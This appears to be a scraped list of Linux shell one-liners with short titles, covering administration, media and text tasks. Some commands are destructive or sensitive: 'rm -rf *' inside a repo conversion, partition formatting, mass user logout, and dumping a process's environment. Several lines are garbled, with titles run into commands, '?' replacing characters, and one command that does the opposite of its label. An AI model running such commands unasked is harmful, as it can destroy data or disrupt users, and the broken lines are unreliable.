du -aB1m|awk '$1 >= 100'
# Sort output by length of line
sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sort -n|sed -u 's/^[^@]*@//'; }
# Quick searching with less
zless +/search_pattern file.gz
# copy paste multiple binary files
tar -c bins/ | gzip -9 | openssl enc -base64
# resize(1/2) the image using imagemagick
convert -resize 50%x50% image{,_resize}.jpg
# Updating to Fedora 11
yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade ; reboot
# Makes a Zenity select list based on entries in your wpa_supplicant.conf
grep -oE "ssid=\".*\"" /etc/wpa_supplicant.conf | cut -c6- | sed s/\"//g | zenity --list --title="Choose Access Point" --column="SSID"
# Rename files to be all in CAPITALS
for n in * ; do mv $n `echo $n | tr '[:lower:]' '[:upper:]'`; done
# Anti DDOS
tail -f /var/www/logs/domain.com.log | grep "POST /scripts/blog-post.php" | grep -v 192.168. | awk '{print $1}' | xargs -I{}  iptables -I DDOS -s {} -j DROP
# Installing debian on fedora (chrooted)
debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/
# Show display adapter, available drivers, and driver in use
lspci -v | perl -ne '/VGA/../^$/  and /VGA|Kern/ and print'
# processes per user counter
pgrep -cu ioggstream
# print a cpu of a process
ps -eo %cpu,args | grep -m1 PROCESS | awk '{print $1}'
# Run a ext4 file system check and badblocks scan with progress info
fsck.ext4 -cDfty -C 0 /dev/sdxx
# Add all files in current directory to SVN
svn add --force *
# List available upgrades from apt without upgrading the system
apt-get --just-print upgrade
# Recursive Line Count
find * -type f -not -name ".*" | xargs wc -l
# Direct auto-complete in bash
bind '"\t":menu-complete'
# Print only the odd lines of a file
awk 'NR%2'
# Test a SSLv2 connection
openssl s_client -connect localhost:443 -ssl2
# Update grub menu.lst
sed -e '/^$/d' -e '/^#/d' -e '/initrd/ a\ ' -e 's/hiddenmenu//g' -e '/^timeout/d' -e '/default/ a\timeout\t\t15' -e 's/quiet//g' -e 's/splash/rootdelay=60/g' /boot/grub/menu.lst > /boot/grub/menu.lst.new
# List only directories, one per line
ls -1d */
# Command to keep an SSH connection open
watch -n 30 uptime
# Watch postgresql calls from your application on localhost
sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432
# Combines an arbitrary number of transparent png files into one file
echo -n "convert " > itcombino.sh; printf "IMG_%00004u.png " {1..1121} >> itcombino.sh; echo -n "-layers merge _final.png" >> itcombino.sh; chmod +x itcombino.sh && ./itcombino.sh
# delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' -i file
# Get your default route
ip route | grep default | awk '{print $3}'
# Check wireless link quality with dialog box
while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done
# Shows how many percents of all avaliable packages are installed in your gentoo
 systemecho $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%
# Debian Runlevel configuration tool
rcconf
# Remove space and/or tab characters at the end of line
sed -i 's/[ \t]*$//' file
# delete all trailing whitespace from each line in file
sed -i 's/^\s\+//' <file>
# See what apache is doing without restarting it in debug mode
pidof httpd | sed 's/ / -p /g' | xargs strace -fp
# Retrieve a list of all webpages on a site
URL=www.example.com && wget -rq --spider --force-html "http://$URL" && find $URL -type d > url-list.txt && rm -rf $URL
# Change attributes of files so you can edit them
sudo chattr -i <file that cannot be modified>
# Creates PodFeeds.txt, a file that lists the URLs of rhythmbox podcasts from th
e rhythmdb.xml file.grep -A 5 -e podcast-feed rhythmdb.xml | grep -e "<location>" | sed 's: *</*[a-t]*>::g' > PodFeeds.txt
# delete all leading and trailing whitespace from each line in file
sed 's/^\s*//;s/\s*$//' -i file
# encrypt and post or get and decrypt from sprunge using gpg symmetric encryptio
n optionfunction cpaste () { gpg -o - -a -c $1 | curl -s -F 'sprunge=<-' http://sprunge.us }  function dpaste () { curl -s $1 | gpg -o - -d }
# Recursive Line Count
find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}'
# Awk one-liner that sorts a css file by selector
awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'
# Grep recursively for a pattern and open all files that match, in order, in Vim
, landing on 1st matchX='pattern'; vim +/"$X" `egrep -lr "$X" *`
# Nicely display mem usage with ps
ps -o comm,%mem,args -u www-data
# Get curenttly playing track in Last.fm radio
curl -s http://ws.audioscrobbler.com/1.0/user/<user_id>/recenttracks.rss|grep '<title>'|sed -n '2s/ *<\/\?title>//gp'
# Display email addresses that have been sent to by a postfix server since the l
ast mail log rolloversed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log | sort -u
# Recompress all text files in a subdirectory with lzma
find . -name '*.txt' -print0 | parallel -0 -j+0 lzma
# resolving basic authentication problem(401) with wget
wget --auth-no-challenge --server-response -O- $url 2>&1 | grep "Cookie" | sed "s/^  Set-//g" > cookie.txt;  wget --auth-no-challenge --server-response --http-user="user" --http-password="pw" --header="$(cat cookie.txt)" -O- $url
# live netcat network throughput test
nc -l -p 7777 > /dev/null
# E-mail a traditional Berkeley mbox to another recipient as individual e-mails.
formail -Y -s /usr/sbin/sendmail [email protected] < /var/mail/foo
# Dump mySQL db from Remote Database to Local Database
mysqldump --host=[remote host] --user=[remote user] --password=[remote password] -C db_name | mysql --host=localhost --user=[local user] --password=[local password] db_name
# Get debian package names corresponding to latex packages used in a document
grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq
# continuously check size of files or directories
while true; do du -s <file_or_directory>; sleep <time_interval>; done
# See the top 10 IP addresses in a web access log
# cut -d ' ' -f1 /var/log/nginx/nginx-access.log | sort | uniq -c | sort -nr | h
ead -10 | nl
# A simple X11 tea timer
$(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &
# resolve hostname to IP our vice versa with less output
resolveip -s www.freshmeat.net
# List the biggest accessible  files/dirs in current directory, sorted
du -ms * 2>/dev/null |sort -nr|head
# calculate md5 sums for every file in a directory tree
find . -type f -print0 | xargs -0 md5sum
# The program listening on port 8080 through IPv6
netstat -lnp6 | grep :8080 | sed 's#^[^\/]*/\([a-z0-9]*\)#\1#'
# show hidden chars in vi
set list / set nolist
# Ping a URL sending output to file and STDOUT
ping google.com | tee ping-output.txt
# Search commandlinefu from the command line
(curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g'
# Put the machine to sleep after the download(wget) is done
while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo  mem >/sys/power/state
# Print a row of 50 hyphens
for i in `seq 1 1 50`; do  echo -n -; done
# Listing directory content of a directory with a lot of entries
perl -le 'opendir DIR, "." or die; print while $_ = readdir DIR; closedir DIR'
# Alternative way to generate an XKCD #936 style 4 word password usig sed
shuf -n4 /usr/share/dict/words | sed -e ':a;N;$!ba;s/\n/ /g;s/'\''//g;s/\b\(.\)/\u\1/g;s/ //g'
# Help shell find freshly installed applications (re: PATH)
rehash
# Cancel all aptitude scheduled actions
aptitude keep-all
# Check tcp-wrapping support
supportsWrap(){ ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }
# terminal based annoy-a-tron
while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done
# Display duplicated lines in a file
cat file.txt | sort | uniq -dc
# ShadyURL via CLI
SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
# Extract ip addresses with sed
sed -n  's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\nip&\n/gp' ips.txt  | grep ip | sed 's/ip//'| sort | uniq
# quickly formats a fat partition. usefull for flash drives
mkfs.vfat /dev/sdc1
# make directory with current date
mkdir $(date +%F)
# extract column from csv file
cut -d, -f5
# List the popular module namespaces on CPAN
curl http://www.cpan.org/modules/01modules.index.html |awk '{print $1}'|grep -v "<"|sort|uniq -c|grep -v " +[0-9] "
# password generator
genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
# Truncate 0.3 sec from an audio file using sox
sox input.wav output.wav reverse trim 00:00:00.3 reverse
# Compare a remote file with a local file
vimdiff scp://[user@]host1/<file> scp://[user@]host2/<file>
# List out classes in of all htmls in directory
find . -name '*.html' -exec  'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su
# Extract a IRC like chat log out of an Adium xml logfile
xmlstarlet sel -N x="http://purl.org/net/ulf/ns/0.4-02" -T -t -m "//x:message" -v "concat(substring(@time,12,5),' &lt; ',@sender,'&gt;', ' ',.)" -n
# Function to check whether a regular file ends with a newline
endnl () { [[ -f "$1" && -s "$1" && -z $(tail -c 1 "$1") ]]; }
# Get your local IP regardless of your network interface
ifconfig|sed '/inet/!d;/127.0/d;/dr:\s/d;s/^.*:\(.*\)B.*$/\1/'
# quickly formats a fat partition. usefull for flash drives
mkdosfs /dev/sdx1
# Delete only binary files in a directory
perl -e 'unlink grep { -f -B } <*>'
# search google on os x
alias google='open http://www.google.com/search?q="'
# Speed up launch of liferea
sqlite3 ~/.liferea_1.4/liferea.db 'VACUUM;'
# grep -v with multiple patterns.
grep test somefile | grep -v -e error -e critical -e warning
# Show database sql schema from Remote or Local database
mysqldump -u<dbusername>  -p<dbpassword> <databasename>  --no-data --tables
# Find how much of your life you've wasted coding in the current directory
find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1
# NICs, IPs, and Mac
ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~ /:/) {printf "%s ", $1}}{ if($1=="inet") {print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$"
# Extract title from HTML files
tr -d "\n\r" | grep -ioEm1 "<title[^>]*>[^<]*</title" | cut -f2 -d\> | cut -f1 -d\<
# Easily find latex package documentation
texdoc packagename
# Find only *.doc and *xls files on Windows partition
find /mountpoint -type f -iregex '.*\.\(doc\|xls\)'
# Define shell variable HISTIGNORE so that comments (lines starting with #) appe
ar in shell historyexport HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?'
# check the status of 'dd' in progress
ps auxww |grep " dd " |grep -v grep |awk '{print $2}' |while read pid; do kill -USR1 $pid; done
# Store dirs to later be changed to independant of the last directory you were i
n. Also with managment tools.pushd /directory/to/remember
# Validate all XML files in the current directory and below
find -type f -name "*.xml" -exec xmllint --noout {} \;
# Print only the odd lines of a file (GNU sed)
sed 2~2d
# Check reverse DNS
dig -x {IP}
# Tar files matching a certain wildcard
tar -czf ../header.tar.gz $(find . -name *.h)
# Determine status of a RAID write-intent bitmap
mdadm -X /tmp1/md2bitmap
# LVM2 Reduce
# umount /media/filesystem; e2fsck -f /dev/device ; resize2fs -p  /dev/device 20
0G #actual newsize#;lvreduce --size 200G /dev/device; mount /media/filesystem; df -h /media/filesystem
# Umount only the NFS related to 'string'
for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done
# copy audio file from playlist to a floder
more xx.m3u |grep -v "^#" |xargs -i cp {} target
# archlinux: find more commands provided by the package owning some command
w=`whereis <command> | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/.*is owned by \([[:alpha:]]\+\).*/\1/'`; pacman -Ql $p | grep 'bin'
# Display the size of all your home's directories
du -sh ~/*
# get the oldest file in a directory
ls -1t --group-directories-first /path/to/dir/ | tail -n 1
# Convert an existing Git repo to a bare repo
mv .git .. && rm -rf * && mv ../.git . && mv .git/* . && rmdir .git && git config --bool core.bare true
# Force logout after 24 hours idle
fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}`
# Create a single-use TCP proxy with copy to stdout
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
# Command to logout all the users in one command
who -u|grep -v root|awk {'print $6'}|kill  `awk {'print $0'}`
# Start dd and show progress every X seconds
dd if=/path/to/inputfile of=/path/to/outputfile & pid=$! && sleep X && while kill -USR1 $pid; do sleep X; done
# Stream the latest offering from your fave netcasts/podcasts
vlc  --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1; done <netcast.txt)
# List the size of all sub folders and files from the current location, with sor
tingdu -a --max-depth=1 | sort -n
# Set KDE4's Power Devil daemon power policy profiles
qdbus org.kde.powerdevil /modules/powerdevil setProfile <Profilename>
# Use acpi and notify-send to report current temperature every five minutes.
while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done
# read Windows ACLs from Linux
smbcacls //server/sharename file -U username
# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f%\n",num[user], user, cpu[user], mem[user]) }'
# clear the cache from memory
sync; echo 3 > /proc/sys/vm/drop_caches
# Creat a tar file for backup info
tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/
# Run a command if today is the last day of the month
if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi
# Not a kismet replacement...
watch -n .5 "iwlist wlan0 scan"
# create tar archive of files in a directory and its sub-directories
tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
# watch the previous command
watch -n1 -d !!
# Burn an ISO on commandline with wodim instead cdrecord
wodim -v speed=4 dev='/dev/scd0' foo.iso
# Edit the list of to ignore files in the active directory
svn propedit svn:ignore .
# Use nroff to view the man pages
nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less
# Print summary of referers with X amount of occurances
awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\  '{ if($1>500) print $1,$2;}' | sort -n
# Find all dotfiles and dirs
find -mindepth 1 -maxdepth 1 -name .\*
# How To Get the Apache Document Root
httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^DocumentRoot' | cut -f2 -d'"'
# Substitute an already running command
c=$(pgrep <cmd>) && <new_cmd> && kill $c
# sort lines by length
perl -C -e 'print for sort { length $a <=> length $b or $a cmp $b } <>' < /usr/share/dict/words | tail
# Search for files in rpm repositorys. (Mandriva linux)
urpmf lib/blah
# tar copy
tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)
# Test file system type before further commands execution
DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
# Determine next available UID
getent passwd | awk -F: '($3>600) && ($3<10000) && ($3>maxuid) { maxuid=$3; } END { print maxuid+1; }'
# kill all running instances of wine and programs runned by it (exe)
ps ax | egrep "*.exe|*exe]" | awk '{ print $1 }' | xargs kill
# Configuring proxy client on terminal
export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port>
# Automagically update grub.conf labels after installing a new kernel
LATEST=`readlink /boot/vmlinuz`; OLD=`readlink /boot/vmlinuz.old`; cat /boot/grub/grub.conf | sed -i -e 's/\(Latest \[[^-]*\).*\]/\1-'"${LATEST#*-}"]'/1' -e 's/\(Old \[[^-]*\).*\]/\1-'"${OLD#*-}"]'/1' /boot/grub/grub.conf
# Create a directory and cd into it
take() { mkdir -p $1 && cd $1; }
# Display the definition of a shell function
typeset -f <function-name>
# In (any) vi, add a keystroke to format the current paragraph.
map ^A !}fmt
# Convert all old SVN repositories in one directory to new format
find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;
# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]} ' | grep -v "^$"
# Generate a shortened URL with is.gd
isgd () { curl 'http://is.gd/create.php?format=simple&url='"$1" ; printf "\n" }
# urldecoding
printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
# Outputs each arg on its own line
each() { (IFS=$'\n'; echo "$*") }
# Database size
SELECT table_schema "Data Base Name", sum( data_length + index_length ) / 1024 / 1024 "Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ;
# SVN Command line branch merge
/usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} .
# follow the content of all files in a directory
find dir/ -type f | xargs tail -fqn0
# Display summary of git commit ids and messages for a given branch
git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'
# Get your bash scripts to handle options (-h, --help etc) and spit out auto-for
matted help or man page when asked!!process-getopt
# Copy specific files recursively using the same tree organization.
rsync -vd --files-from=<(find .  -name entries -print ) .   ../target_directory
# Download 10 random wallpapers from images.google.com
for((i=0;i<10;i++)) do tmp=`wget -O- -U "" "http://images.google.com/images?imgsz=xxlarge&hl=es&q=wallpaper&sa=N&start=$(($RANDOM%700+100))&ndsp=10" --quiet|grep -oe 'http://[^"]*\.jpg'|head -1`;[[ $tmp != "" ]] && wget $tmp || echo "Error $[$i+1]";done
# Pull up remote desktop for other than gnome/kde eg fluxbox
rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }
# A video capture command which can be assigned to a keyboard shortcut.
gnome-terminal -e "bash -c \"ffmpeg -f x11grab -r 25 -s $(xwininfo -root |sed -n 's/ -geometry \([0-9x]*\).*/\1/p') -i :0.0 -vcodec huffyuv -sameq ~/Desktop/screencast.avi; exec bash\""
# Capitalize first letter of each word in a string - A ruby alternative
ruby -ne 'puts $_.split.collect(&:capitalize).join(" ")' <<< "pleAse cOuld YOu capiTalizE Me"
# Connect to remote machine with other enconding charset
LC_ALL=fr_FR luit ssh root@remote_machine_ip
# open path with your default GNOME program
gnome-open [path]
# "at" command w/o the resource usage/competition issues
jb() { if [ -z $1 ];then printf 'usage:\njb <"date and/or time"> <"commandline"> &\nsee parsedate(3) strftime(3)\n';else t1=$(date +%s); t2=$(date -d "$1" +%s) ;sleep $(expr $t2 - $t1);$2 ;fi ;}
# scroll file one line at a time (w/only UNIX base utilities)
rd(){ while read a ;do printf "$a\n";sleep ${1-1};done ;} # usage: rd < file ; or ... | rd
# Sorted, recursive long file listing
lsr() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }
# Report information about executable launched on system
aureport -x
# Copy 3 files from 3 different servers and adds server name tag to file copied
for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done
# Ripping VCD in Linux
cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc
# Force wrap all text to 80 columns in Vim
gqG
# ssh batch jobs: query hundreds of hosts with an ssh command
ssh -tq -o "BatchMode yes" $HOST  <some_command> >> to_a_file
# pushd rotates the stack so that the second directory comes at the top.
pushd +2; pushd -2
# What is my ip?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
# Use curl to save an MP3 stream
curl -sS -o $outfile -m $showlengthinseconds $streamurl
# Colorize svn stat
svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"
# Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -regextype posix-egrep -iregex '.*?\.(ogg|mp3)' | sort > ~/mylist.m3u
# Terrorist threat level text
echo "Terrorist threat level: $(wget -q  -O - http://is.gd/wacQtQ | tail -n 1 | awk -F\" '{ print $2 }')"
# Show all mergeinfo for a svn subtree
find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n    $mergeinfo\n" ; done
# urldecoding
perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
# Testing ftp server status
for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done
# Search and play MP3 from Skreemr
function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer }
# Set the hardware date and time based on the system date
hwclock --systohc -utc
# Stream audio over ssh ogg version
ssh [user]@[host] "ogg123 -" < [podcast].ogg
# Generate hash( of some types) from string
openssl dgst -sha256 <<<"test"
# Single words from Amazon Kindle 3 notes
awk -F" " '{ if ( NF == 1 ) { print $0 } }' KINDLE_NOTES_FILE.txt | sed -e '/^=/d' | sed -e '/^[[:space:]]*$/d' -e 's/,//g' | sort | comm -12 List_of_language_words.txt - | uniq
# search the manual page names and descriptions
apropos somekeyword
# cloning partition tables under Solaris
prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2
# Simple word scramble
shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) > /tmp/out
# copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb
# Create and play an instant keyword based playlist
find -E ~/Music -type f -iname "*search terms*" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -exec afplay "{}" \; &
# Join flv files
mencoder -forceidx -of lavf -oac copy -ovc copy -o output.flv clip1.flv clip2.flv clip3.flv
# Given process ID print its environment variables
cat /proc/PID/environ | tr '\0' '\n'
# SSH to a machine's internet address if it is not present on your local network
ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip
# Beep siren
tempo=33; slope=10; maxfreq=888; function sinus { echo "s($1/$slope)*$maxfreq"|bc -l|tr -d '-'; }; for((i=1;;i++)); do beep -l$tempo -f`sinus $i`; done
# Follow a new friend on twitter
curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true
# Given process ID print its environment variables
ps ewwo command PID | tr ' ' '\n' | grep \=
# Rotate a video file by 90 degrees CW
mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi
# Recursively grep for string and format output for vi(m)
mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/  /'; }
# Copies currently played song in Audacious to selected directory
function cp_mp3_to { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/[^\/]*//`; cp "$FILEPATH" "$1"; }
# make comments invisible when editing a file
vim -c'highlight Comment ctermfg=white' my.conf
# SED - Substitute string in next line
sed -i.backup '/patter/{n;s/foo/bar/g}' file
# create random string from /dev/urandom (or another length)
echo `cat /dev/urandom |tr -dc "[:alnum:]" | head -c64`
# finding cr-lf files aka dos files with ^M characters
find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
# find all open files by named process
lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq
# Move all files between to date
sudo find . -maxdepth 1 -cnewer olderFilesNameToMove -and ! -cnewer newerFileNameToMove -exec mv -v {} /newDirectory/ \;
# Download and install the newest dropbox beta
wget http://forums.dropbox.com && wget $(cat index.html|grep "Latest Forum Build"|cut -d"\"" -f2) && wget $(cat topic.php*|grep "Linux x86:"|cut -d"\"" -f2|sort -r|head -n1) && rm -rf ~/.dropbox* && rm index.html *.php* && tar zxvf dropbox-*.tar.gz -C ~/
# make computer speaking to you :)
tail -f /var/log/messages | espeak
# Go to the Nth line of file [text editor]
vi +4 /etc/mtab
# Use acpi and notify-send to report current temperature every five minutes.
while notify-send "`acpi -t`"; do sleep 300; done
# delete multiple files with spaces in filenames (with confirmation)
ls -Q * | xargs -p rm
# A nice way to show git commit history, with easy to read revision numbers inst
ead of the default hashgit log --reverse --pretty=oneline | cut -c41- | nl | sort -nr
# sudo for launching gui apps in background
gksudo gedit /etc/passwd &
# lazy SQL QUERYING
alias QUERY='psql -h $MYDBHOST -p 5432 -d $MYDB -U $MYLOGIN --no-align'
# clear MyDNS-ng cache
kill -SIGHUP `cat /var/run/mydns.pid`
# Recall last argument of previous command
cd !$
# Monitor a file's size
watch -n 60 du /var/log/messages
# Gathering all MAC's in your local network
sudo arp-scan --interface=eth0 -l
# a find and replace within text-based files
find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;
# read unixtimestamp with festival
say='festival --tts'; S=$(date +%s); echo $(echo $S | cut -b 1-1)" billion" | $say ; echo $(echo $S | cut -b 2-4 | sed 's/0*//')" million"| $say; echo $(echo $S | cut -b 5-7 | sed 's/0*//')" thousand"| $say
# Show what PID is listening on port 80 on Linux
netstat -alnp | grep ::80
# Simple Gumblar check command
find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xargs grep "Exception\|LGPL\|CODE1"
# show ALL iptable rules
for i in `cat /proc/net/ip_tables_names`; do iptables -nL -v --line-numbers -t $i ; done
# lazy SQL QUERYING
psql
# listen to an offensive fortune
fortune -o | espeak
# LIst svn commits by user for a date range
for i in `svn log -r{2011-02-01}:HEAD | awk '$3 == "user" {print $1}'`; do svn log -v -$i;done
# Iterate through current directory + all subs for C++ header files and rank by 
# of comments
find ./ -name *.h -exec egrep -cH "// | /\*" {} \; | awk -F':' '{print $2 ":" $1}' | sort -gr
# Reset hosed terminal,
stty sane ^J
# FInd the 10 biggest files taking up disk space
find / -type f 2>/dev/null | xargs du 2>/dev/null | sort -n | tail -n 10 | cut -f 2 | xargs -n 1 du -h
# send substituted text to a command without echo, pipe
nc localhost 10000 <<< "message"
# Remove empty directories
rmdir **/*(/^F)
# Shell function to create a directory named with the current date, in the forma
t YYYYMMDD.dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }
# Delete all empty/blank lines from text file & output to file
sed '/^$/d' /tmp/data.txt > /tmp/output.txt
# Extract a .gz file with privilege
sudo sh -c 'gunzip -c source.gz > destination'
# Quickly re-execute a recent command in bash
!<command>
# Generate random valid mac addresses
python -c "from itertools import imap; from random import randint; print ':'.join(['%02x'%x for x in imap(lambda x:randint(0,255), range(6))])"
# watch iptables counters
watch --interval 0 'iptables -nvL | grep -v "0     0"'
# Encode png's into blu-ray format
ffmpeg -r 24 -i %04d.png  -i INPUTSOUND -r 24 -aspect 16:9 -s 1920x1080 -vcodec libx264 -vpre hq -acodec ac3 -b 40000k -shortest -threads 0 OUTFILE.mp4
# Obtain last stock quote from google API with xmlstarlet
xmlstarlet sel --net -t -m "//last" -v "@data" -n http://www.google.com/ig/api?stock=GOOG
# Export MS Access mdb files to csv
mdb-export -H -I -R database.mdb table >table.sql
# diff directories, quick cut and paste to view the changes
diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'
# list file descriptors opened by a process
ls -al /proc/<PID>/fd
# Tweet from Terminal to twitter !
curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml
# Erase a word
<ALT> <BACKSPACE>
# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -iname "*admin*" -executable -type f
# Create an easy to pronounce shortened URL from CLI
shout() { curl -s "http://shoutkey.com/new?url=${1}" | sed -n "/<h1>/s/.*href=\"\([^\"]*\)\".*/\1/p" ;}
# Anti Syn Ddos
echo 1 > /proc/sys/net/ipv4/tcp_syncookies echo 1 > /proc/sys/net/ipv4/ip_forward iptables -A FORWARD -p tcp ?syn -m limit -j ACCEPT
# Fix subtitle timing (for .sub files)
sed -e 's/{/|/' -e 's/}{/|/' -e 's/}/|/' myFile.sub | awk -F "|" 'BEGIN {OFS =  "|"} { $2 = $2 - 600; $3 = $3 - 600; print $0 }' | sed -e 's/^|/{/' -e 's/\([0-9]\)|\([0-9]\)/\1}{\2/' -e 's/|/}/' >
# Download and extract a *tar.gz file with curl.
curl http://domain.com/file.tar.gz | tar zx
# Find files with lines that do not match a pattern
fmiss() { grep -RL "$*" * }
# Notify Gnome user of files modified today
OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS
# show how many regex you use in your vim today
